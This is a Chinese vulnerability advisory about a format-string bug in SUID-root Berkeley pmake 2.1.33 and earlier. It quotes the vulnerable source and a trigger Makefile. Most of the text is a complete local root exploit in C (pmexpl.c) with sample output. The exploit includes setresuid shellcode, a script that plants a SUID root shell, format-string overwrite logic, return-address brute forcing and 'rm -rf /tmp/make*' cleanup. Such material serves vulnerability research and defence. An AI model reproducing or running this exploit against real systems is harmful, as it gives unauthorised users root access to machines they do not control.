Berkeley's pmake 存在缓冲溢出漏洞发布时间:2001-11-23 更新时间:2001-11-23 严重程度:高 威胁程度:本地管理员权限 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 pmake 2.1.33 和以下的版本。详细描述 Berkeley's pmake 发现存在格式字符串漏洞,Pmake在多个LINUX版本下以 SUID ROOT安装并使用ROOT权利来绑定低TCP端口。 问题存在与src/job.c中的720行: if (! (job->flags & JOB_SILENT) && !shutUp && commandShell->hasEchoCtl) { DBPRINTF ("%s\n", commandShell->echoOff); DBPRINTF (commandShell->errCheck, cmd); shutUp = TRUE; } 和src/str.c的170行: register char *tstr; /* Pointer into tstring */ char tstring[512]; /* Temporary storage for the * current word */ 如果用户在Makefile中对shell追加定义,Pmake可以使用errCheck来输出 格式串,而这个格式串是有用户来提供的。下面的Makefile就存在问题: all: -echo blah .SHELL : path=/bin/sh echo="" quiet="" hasErrCtl=no check=%x%x%x%x%x 用超过512字符的串来代替'%x'可以导致SIGSEGV。 测试代码 paul@phoenix:~/expl/pmake > ./pm -w+2 ***************************************** * * * pmake local root exploit * * by IhaQueR@IRCnet '2001 * * * ***************************************** * PHASE 1 preparing new environment cleaning preparing shell script allocating pipe stdout/in preparation generating Makefile finished setup * PHASE 2 digging magic string: 0 1 2 3 4 5 6 7 8 9 10 11 12 found mark, parsing output FOUND magic string with pading=0 output length=1446 * PHASE 3 looking for write position: 1 * FOUND * FOUND write position at index=1 creating final makefile creating shell in the environment * PHASE 4 brute force RET: 0xbfff73b0 0xbfff73b4 0xbfff73b8 0xbfff73bc 0xbfff73c0 Paradox, created suid shell at /home/paul/expl/pmake/sush ----------------------------------- pmexpl.c ----------------------------------- /**************************************************************** * * * Pmake <= 2.1.33 local root exploit * * coded by IhaQueR@IRCnet * * compile with gcc -pmexpl-c -o pm * * meet me at HAL '2001 * * * ****************************************************************/ #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/wait.h> #include <string.h> #include <signal.h> #include <stdlib.h> // some definitions #define TARGET "/usr/bin/pmake" #define MKFILE "Makefile" #define MKMSH "./mkmsh" #define TMPLEN 256 #define USERSTACK 0xc0000000u #define NN "\E[m" #define GR "\E[32m" #define RD "\E[31m" #define BL "\E[34m" #define BD "\E[1m" #define FL "\E[5m" #define UL "\E[4m" extern char **environ; static const char *banner = "\n" BL"*****************************************\n" "*\t\t\t\t\t*\n" "*\tpmake local root exploit\t*\n" "*\tby "FL"IhaQueR@IRCnet"NN BL" '2001\t\t*\n" "*\t\t\t\t\t*\n" "*****************************************\n" "\n"NN; static const char *usage = "\n" UL"USAGE:"NN " %s\t-w <wlen delta, try -32,...,32>\n" "\t\t-s <shell addr>\n" "\t\t-a <ret addr 0xbfff73c0 for orig SuSE 7.1 and pmake 2.1.33>\n" "\t\t-m <attempts>\n" "\t\t-p <%%g preload>\n" "\n"; static const char *mkfile = "all:\n\t-echo blah\n\n.SHELL : path=/bin/sh echo=\"\" quiet=\"\" hasErrCtl=no check="; // setresuid(0,0,0) shellcode static char hellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x31\xd2" "\xb0\xa4\xcd\x80" "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./mkmsh"; // our suid shell maker static char mkmsh[] = "#!/bin/bash\n" "cat <<__DUPA__>sush.c\n" "#include <stdio.h>\n" "#include <unistd.h>\n" "main() {setuid(geteuid()); execl(\"/bin/bash\", \"/bin/bash\", NULL);}\n" "__DUPA__\n" "gcc sush.c -o sush >/dev/null 2>&1\n" "chown 0.0 sush\n" "chmod u+s sush\n"; static char *fromenv[] = { "TERM", "HOME", "PATH" }; #define numenv (sizeof(fromenv)/sizeof(char*)+2) static char *myenv[numenv]; static char eb[numenv][TMPLEN]; int cn=0; void child_kill(int v) { cn--; } int do_fork() { cn++; return fork(); } int main(int ac, char** av) { int pd[2], fd, mk, i, j, res, pid, cnt, flip, mx, wdel; unsigned *up, pad, wlen, shadr, wadr, len1, old, idx, gprel; unsigned char *ptr; char buf[16384]; char buf2[16384]; char aaaa[1024*32]; char head[64]; struct stat sb; fd_set rs; // setup defaults // shell address is calculated from user stack location and the big nop buffer...should work :-/ shadr = USERSTACK - sizeof(aaaa)/2; wadr = 0xbfff73b0; mx = 512; gprel=150; wdel=0; setpgrp(); setsid(); printf(banner); // parse options if(ac!=1) { res = getopt(ac, av, "hw:s:a:m:p:"); while(res!=-1) { switch(res) { case 'w' : wdel = atoi(optarg); break; case 's' : sscanf(optarg, "%x", &shadr); break; case 'a' : sscanf(optarg, "%x", &wadr); break; case 'm' : sscanf(optarg, "%d", &mx); break; case 'p' : sscanf(optarg, "%d", &gprel); if(gprel==0) gprel=1; break; case 'h' : default : printf(usage, av[0]); exit(0); break; } res = getopt(ac, av, "hw:s:a:m:p:"); } } // phase 1 : setup printf("\n\n"BD BL"* PHASE 1\n"NN); // prepare environ printf("\n\tpreparing new environment"); memset(aaaa, 'A', sizeof(aaaa)); aaaa[4]='='; up=(unsigned*)(aaaa+5); for(i=0; i<sizeof(aaaa)/sizeof(int)-2; i++) up[i]=0x41424344; aaaa[sizeof(aaaa)-1]=0; len1=strlen(aaaa); // buffer overflow :-) myenv[0]=aaaa; for(i=1; i<numenv-1; i++) { myenv[i]=eb[i-1]; strcpy(eb[i-1], fromenv[i-1]); if(!strchr(fromenv[i-1], '=')) { strcat(eb[i-1], "="); strcat(eb[i-1], getenv(fromenv[i-1])); } } myenv[numenv-1]=NULL; // clean printf("\n\tcleaning"); unlink("LOCK.make"); unlink("sush"); unlink("sush.c"); unlink("mkmsh"); system("rm -rf /tmp/make* >/dev/null 2>&1"); // our suid shell printf("\n\tpreparing shell script"); mk = open(MKMSH, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU|S_IXGRP|S_IXOTH); if(mk<0) perror("open"), exit(1); write(mk, mkmsh, strlen(mkmsh)); close(mk); // comm pipe printf("\n\tallocating pipe"); res = pipe(pd); if(res<0) perror("pipe"), exit(2); // redirect stdin/out printf("\n\tstdout/in preparation"); res = dup2(pd[1], 2); if(res<0) perror("dup2"), exit(3); fd = open("/dev/null", O_RDWR); if(fd<0) perror("open"), exit(4); // our makefile printf("\n\tgenerating Makefile"); mk = open(MKFILE, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU); if(mk<0) perror("open"), exit(5); write(mk, mkfile, strlen(mkfile)); for(i=0; i<gprel; i++) write(mk, "%g", 2); fsync(mk); // child killer printf("\n\tfinished setup"); if(signal(SIGCHLD, &child_kill)==SIG_ERR) perror("signal"), exit(6); // phase 2 : dig format string printf("\n\n\n" BD BL "* PHASE 2\n"NN); printf("\n\tdigging magic string:\t"); cnt=0; while(1) { lseek(mk, -2, SEEK_CUR); write(mk, "%g%x", 4); fsync(mk); usleep(1); pid = do_fork(); // get child output if(pid) { printf("%4d ", cnt); fflush(stdout); do { bzero(buf, sizeof(buf)); res = read(pd[0], buf, sizeof(buf)-1); if(res > 128) { break; } } while(1); kill(SIGTERM, pid); usleep(1); waitpid(pid, NULL, WUNTRACED); bzero(buf2, sizeof(buf2)); read(pd[0], buf2, sizeof(buf2)-1); if(waitpid(pid, NULL, WUNTRACED|WNOHANG)>0) read(pd[0], buf2, sizeof(buf2)-1); // look for padding pad=-1; if(strstr(buf, "41424344")) { pad=0; } else if(strstr(buf, "42434441")) { pad=1; } else if(strstr(buf, "43444142")) { pad=2; } else if(strstr(buf, "44414243")) { pad=3; } // if got the mark parse output for final string if(pad!=-1) { printf("\n\tfound mark, parsing output"); ptr = strtok(buf, "\t\n "); while(ptr) { if(strlen(ptr)>64) break; ptr = strtok(NULL, "\t\n "); } // calculate write length -6, -8 hm I'm dunno about the 16? wlen=strlen(ptr)+wdel-16; printf("\n\tFOUND magic string with pading=%d output length=%d", pad, wlen); // PHASE 3 : find write pos in aaaa printf("\n\n\n" BD BL "* PHASE 3\n"NN); printf("\n\tlooking for write position: "); up=(unsigned*)(aaaa+5-pad); cnt=0; for(i=1; i<sizeof(aaaa)/sizeof(int)-1; i++) { old=up[i]; up[i]=0xabcdef67; printf("%4d ", i); sprintf(head, "%x", up[i]); fflush(stdout); if(cn) read(pd[0], buf2, sizeof(buf2)-1); pid = do_fork(); if(pid) { do { bzero(buf, sizeof(buf)); FD_ZERO(&rs); FD_SET(pd[0], &rs); select(pd[0]+1, &rs, NULL, NULL, NULL); res = read(pd[0], buf, sizeof(buf)-1); if(res > 128) { break; } } while(1); kill(SIGTERM, pid); usleep(1); read(pd[0], buf2, sizeof(buf2)-1); // up[i] is now the place for the beginning of our address field if(strstr(buf, head)) { printf(" * FOUND *"); fflush(stdout); up[i]=old; idx=i; printf("\n\tFOUND write position at index=%d", i); up[i]=old; ptr = strtok(buf, "\t\n "); while(ptr) { if(strlen(ptr)>64) break; ptr = strtok(NULL, "\t\n "); } // construct write 'head': printf("\n\tcreating final makefile"); fflush(stdout); lseek(mk, -2, SEEK_CUR); ptr = (unsigned char*)&shadr; for(j=0; j<4; j++) { flip = (((int)256) + ((int)ptr[j])) - ((int)(wlen % 256u)); wlen = wlen + flip; sprintf(head+j*8, "%%%04dx%%n", flip); } head[32] = 0; write(mk, head, strlen(head)); // brute force RET on the stack upon success printf("\n\tcreating shell in the environment"); // create env shell ptr = (unsigned char*)&(up[i+2*10]); while(ptr<(unsigned char*)(aaaa+sizeof(aaaa)-4)) { *ptr=0x90; ptr++; } strncpy(aaaa+sizeof(aaaa)-strlen(hellcode)-1, hellcode, strlen(hellcode)); aaaa[sizeof(aaaa)-1]=0; if(len1!=strlen(aaaa)) { printf(BD RD"\nERROR: len changed!\n"NN); exit(7); } // phase 4: brute force printf("\n\n\n"BD BL"* PHASE 4\n"NN); printf("\n\tbrute force RET:\t"); fflush(stdout); cnt=0; while(cnt<mx) { for(j=0; j<4; j++) { up[idx+2*j] = wadr + j%4; up[idx+2*j+1] = wadr + j%4; } pid = do_fork(); if(pid) { printf(" 0x%.8x", wadr); fflush(stdout); waitpid(pid, NULL, WUNTRACED); res = stat("sush", &sb); if(!res && sb.st_uid==0) { printf(BD GR"\n\nParadox, created suid shell at %s/sush\n\n"NN, getcwd(buf, sizeof(buf)-1)); system("rm -rf /tmp/make* >/dev/null 2>&1"); exit(0); } } else { res = dup2(fd, 1); if(res<0) perror("dup2"), exit(8); res = dup2(fd, 2); if(res<0) perror("dup2"), exit(9); execle(TARGET, TARGET, "-X", "-dj", NULL, myenv); _exit(10); } if(cnt%8==7) printf("\n\t\t\t\t"); cnt++; wadr += 4; } // failure printf(BD RD"\nFAILED :-("NN); system("rm -rf /tmp/make* >/dev/null 2>&1"); exit(11); } } else { res = dup2(fd, 1); if(res<0) perror("dup2"), exit(12); execle(TARGET, TARGET, "-X", "-dj", NULL, myenv); exit(13); } up[i]=old; waitpid(pid, NULL, WUNTRACED); } printf(BD RD"\n\tstrange error, write pos not found!\n"NN); system("rm -rf /tmp/make* >/dev/null 2>&1"); exit(14); ptr = strtok(buf, "\n"); while(ptr) { printf("\nLINE [%s]", ptr); ptr = strtok(NULL, "\n"); } exit(15); } // start target and read output } else { res = dup2(fd, 1); if(res<0) perror("dup2"), exit(16); execle(TARGET, TARGET, "-X", "-dj", NULL, myenv); exit(17); } if(cnt%8==7) printf("\n\t\t\t\t"); cnt++; } printf(BD RD"\nFAILED\n"NN); system("rm -rf /tmp/make* >/dev/null 2>&1"); return 0; } 解决方案 尚无 相关信息 Paul Starzetz (paul@starzetz.de) 参考:http://archives.neohapsis.com/archives/bugtraq/2001-11/0172.html |